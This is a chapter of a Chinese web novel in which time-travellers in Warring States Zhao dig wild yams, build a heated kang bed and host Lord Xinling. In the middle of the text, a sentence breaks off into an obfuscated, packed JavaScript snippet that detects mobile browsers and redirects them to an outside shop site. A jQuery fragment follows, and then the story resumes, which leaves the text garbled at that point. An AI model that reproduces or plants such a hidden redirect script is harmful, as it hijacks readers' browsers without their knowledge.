锄头不如工兵铲好用,徐兰上午只挖三窝紫薯蓣,下午又挖两窝,第二天不再去,陈粟和木一家挖两天后紫山半山腰有很多大紫薯蓣的消息传出,山脚下的黔首们一窝蜂上山挖薯蓣。
挖出来的薯蓣果然很大,大家脸上泛着喜悦的笑容,不少人更是兴奋不已,磨面不方便,还有很多人吃麦饭,薯蓣煮熟比麦饭还好吃,又这么大个。
至于今年山上为什么生长出这么多薯蓣!
是山神见他们过的太难长出来的!
于是有关山神的事在黔首们传开。
徐兰挖回来的五个薯蓣放在卧室里,打算吃一个,留四个明年做种子种在后院,她把打算告诉石:“石,薯蓣这么大个,我打算留薯蓣种子,明年开春在后院试种,你回去和你大父说一声。”
石听姑姑这么说眼睛一亮猛点头,对啊,他们可以种!
要是种出来,以后不用饿肚子了!
晚上木听了大孙子的转告,也起了明年种薯蓣的心思,并和交好的人说,不少人听后很心动,不过要怎么种?
徐兰不挖薯蓣后把锄头借给陈粟,忙家里的活同时去割编蓑衣的草回来,扯去叶子,绑成小捆挂在后院棚子下晾晒干,等更冷时有空编蓑衣,蓑衣在冬天可以保暖,他们不怕冷不需要,但春天下雨时需要,还是要准备。
秋天干燥,秋风肃杀,唐启阳带人做的第一批泥砖和泥板阴干比较快,能用了,他们把堂屋收拾一下,搬走一些东西。
这天早上,唐启阳带丈人和两个男青年刘平跟王亮准备砌炕,他在院子的地上画炕图,用朴素的语言告诉三个帮手暖炕原理:“我们烧火时地上的土会热,土能储热……,就照着这个图试做。”
木和刘平王亮两人听原理半懂,看图就明白怎么做,相继表示不难。
李方在旁边看四个孩子练剑,分神看唐启阳画的图再听他说的话,觉得很可行,对此充满期待。
政儿和山三兄妹也很好奇,分心被李先生说:“专心!”
四个孩子收起心神练剑。
唐启阳跟三个帮忙说清楚后就开始动工,几个人搬来泥砖和弄来熟黄泥开始砌炕。
帮忙盘炕的人要供饭,徐兰一早就去下鱼笼和挖野菜,中午有鱼,下午杀最后一只野鸭,她顾虑到阿父和两个帮忙肚子里油水少,菜做得很清谈,油水也少,不过有肉吃已经令他们高兴。
堂屋里的炕带着小灶,还砌烟囱,四个人干一天也没盘好炕,第二天下午三点多才全部弄好。
徐兰装一陶锅水放在炕头灶上,用半湿的草在灶下点火,冒出浓烟,浓烟开始向灶口冒出,小会出烟变很少。
唐启阳看炕上没有漏出烟,出去到后面看烟囱上面冒出烟,回堂屋高兴和大家说:“炕上没有漏烟,成了。”
李方不解问:“为何不用明火烧?”
唐启阳跟他解释:“用明火太热,会把泥浆烧烈开,晾干透后再用明火烧就不会。”
木点头,猛烈的太阳晒湿的泥会晒烈开。
李方点头表示理解,看向炕的眼神火热。
炕盘好要晾三天,三天时间不长,所以徐兰和唐启阳没有用烟熏干,让炕自然干,安心去做其他事。
他们安心,其他人心里却像长了野草,知道的人天天来看一眼,木也一样,政儿和石三兄妹也天天进屋看看,就连沉稳的李先生也一天进屋看三回。
炕盘好的第四天早上,徐兰把装一锅水放在炕头的灶上,在下面生火后出去做早饭。
唐启阳把丈人帮忙编的大芦苇席铺在炕上,李先生摸摸芦苇席,唐启阳上炕跪坐下,笑和他说:“先生可上来坐感受一番。”
李方点头,脱鞋上炕跪坐下,一会后腿脚感受到暖和,面露喜色:“大善!你像墨家。”能琢磨出省力的脚踏碓,现在还用普通的黄泥做出暖炕,这暖炕推广后可令无数人度过寒冬。
以前有人在家里挖坑,上面放石板,下面烧小火,石板烧过热会难受,这个炕不是在底下直接烧火,不会出现过热,妙啊。
他看向灶:还能烧热水。
唐启阳摇头:“人吃饭可以吃任何能吃的食物,在学识上何必拘于儒家或墨家,亦或法家兵家,亦或其他家。”
李方听唐启阳这话怔愣,他来教唐启阳读书认字不过二十来天,到现在只教了诗三百和论语,不想他能说出这样的话。
诸子百家争鸣已久,也有将各家揉在一起的杂家,但没有唐启阳形容这么形象。
他问唐启阳:“你想学其他家?”
唐启阳说:“我现在学识浅,是想了解更多,只是买书简不容易。”他们有论语,也知道三十六计,可以用现在的字抄出来,但不好向外解释。
李方:“是不容易,我是儒家,可将手里有的书借给你抄。”
唐启阳抱拳道谢:“多谢李先生慷慨,阳感激不尽!”
李方脸上露出笑:“你聪敏好学,心思通透,潜心学几年必是大才!”
唐启阳说:“可不敢想。”自己只不过多活两辈子,见识广,但要说文化,他们真没有多少文化。
李方真诚说:“你不必看轻自己,左手残亦不是大事,有才必有出头之日。”
唐启阳笑笑,他不在意左手残,这个时候要出头就要去做官,人性复杂,政治复杂,朝堂上的官员各有各的诉求,在其中不免被裹挟,他们志不在官场,只想用所知提高社会生产力,为这个时代的平民做点实事。
他们知道政儿就是赢政,也不想通过他改变什么,在他幼年时护着他,也许将来他不再那么暴虐,那就够了。
两人只是浅交,没有继续往下深谈。
木和石三兄妹到门口,唐启阳招呼他们:“岳父,石,山,芹,炕暖和了,你们上来看看。”
木和石三兄妹同时向李先生行礼,相继恭敬喊:“李先生。”
李先生向他们点头:“上面暖和了,你们来看看。”
石三兄妹又和唐启阳行李,唐启阳向他们点头。
木和石三兄妹在先生面前拘谨不好意思上炕,李先生和唐启阳理解,下炕到屋外。
木和石三兄妹上炕,感受芦苇席的温暖,脸上露出大笑容,随后下炕出去。
晚一些政儿过来,也到炕上体验一番。
徐兰简单做好早饭,吃早饭后四个孩子练剑,他们现在练基础动作行动不剧烈可以在饭后练,明年剑术加快后就不能在饭后练剑。
李先生收拾自己的东西后监督四个孩子练剑,唐启阳带人盘在西间里盘炕。
徐兰拿麻绳去山里的河谷下十几个套子,回来忙家务活,表面上舂麦磨面啥的,有点空用兔皮给阿父阿母做马甲,之前在山上下套两次,一共硝出十二张兔皮,余下的不够四个孩用,杀几只野鸭留下绒毛很少。
早上有很多人来看暖炕,又去西间看唐启阳他们盘炕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11782830|125380||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
问问题,下午还不断有人来看,络绎不绝。
照顾政儿的老媪看没什么人了才过来看暖炕,徐兰接待她,等她摸暖和的芦苇席后说:“老媪,我家西间的炕做好后剩下的泥砖和泥板不够砌一个炕,等第二批泥砖和泥板能用就给你家和我阿父家砌炕。”
老媪觉得暖炕确实是好东西,感激说:“好,要多少刀币我们出。”
徐兰顿一下说:“好,没有也没关系。”
老媪笑说:“有的。”
徐兰没有探究他们现在怎么有钱了。
晚上李先生就住堂屋炕上,睡前烧了炕,是很暖和,就是硬了一点,但这是小事,有条件垫几层布,没条件垫两层干草就能解决。
第二天一早,徐兰背背篓进山收猎物,套到五只兔子和两只野鸡,收猎物后捡一些柴放篓子上背出山,途中停下快手挖一点薤和荠菜,天气一天比一天冷,这两种野菜快没了。
她回到家就看到信陵君院子里,放下背篓行礼:“信陵君。”这个信陵君跟一般贵族真不一样,贵族有足够的保暖物,根本不怕过冬,对用砖做的暖炕应该没有兴趣,他却很有兴趣。
信陵君微笑回应并问:“兰娘子套到什么猎物?”
徐兰微笑回应:“野兔和野鸡,信陵君中午留饭吗?”
信陵君笑说:“那就劳烦兰娘子。”
“不客气。”
随后徐兰提着背篓去后院归整东西,又提一只野兔一只野鸡回前院厨房处理,准备午饭。
中午主食是馒头,烧鸡肉和烧兔肉有足够的花椒烹饪,比之前更香,腊肉炒薤和炒白菜,白萝卜汤也不错。
信陵君用午饭后满足离去。
唐启阳送走他后进厨房和在洗碗的徐兰说话:“我给信陵君暖炕设计图了。”他们商量过,暖炕谁要学都教。
徐兰说:“用青砖盘炕感觉也有土气,他不觉得土气吗?”
唐启阳笑:“谁知道,这回他送给我们几卷书和两块墨。”
徐兰:“都是珍贵难得的东西,特别是墨,等盘好炕你去找一张牛皮来熬牛皮胶,我们自己试着做墨条。”他们有做墨条的书,也看过墨条的制作视频,应该能做出来。
制墨用鹿角胶更好,只是现在没有。
唐启阳同意:“好,明年秋收后试做纸。”
徐兰:“嗯。”空间里准备的手纸很少,他们尽量不用,要用也很小心。
两人说会话后唐启阳继续去盘炕,徐兰继续做兔皮马甲,她坐在屋檐下,晚一些看李先生给四个孩子上课。
政儿背诗流利,石和山芹背的时候有点卡,但也能背下来。
他们下课后芹到徐兰身边坐下,芹比年初时变化不少,脸长肉身体长高,眼里有光。
徐兰问她:“你们觉得学诗和练剑得辛苦吗?”
芹羞涩摇头:“不辛苦,大兄说以后上战场杀秦军。”
徐兰没法轻飘飘地劝他们放下仇恨,顿一下说:“你们只知道你们阿父和阿叔在长平被秦军杀了,但你们知道赵为什么跟秦打那场仗吗?”
芹眼里迷茫,摇头说:“不知道。”
徐兰稍想后和她说:“你姑丈告诉过我,我和你说吧。”
芹认真点头。
徐兰:“开始是秦国和韩国打,韩国输了,上党马上被秦军占领,但守上党的韩将传消息给赵国,说要把上党送给赵国,所以才有长平之战。”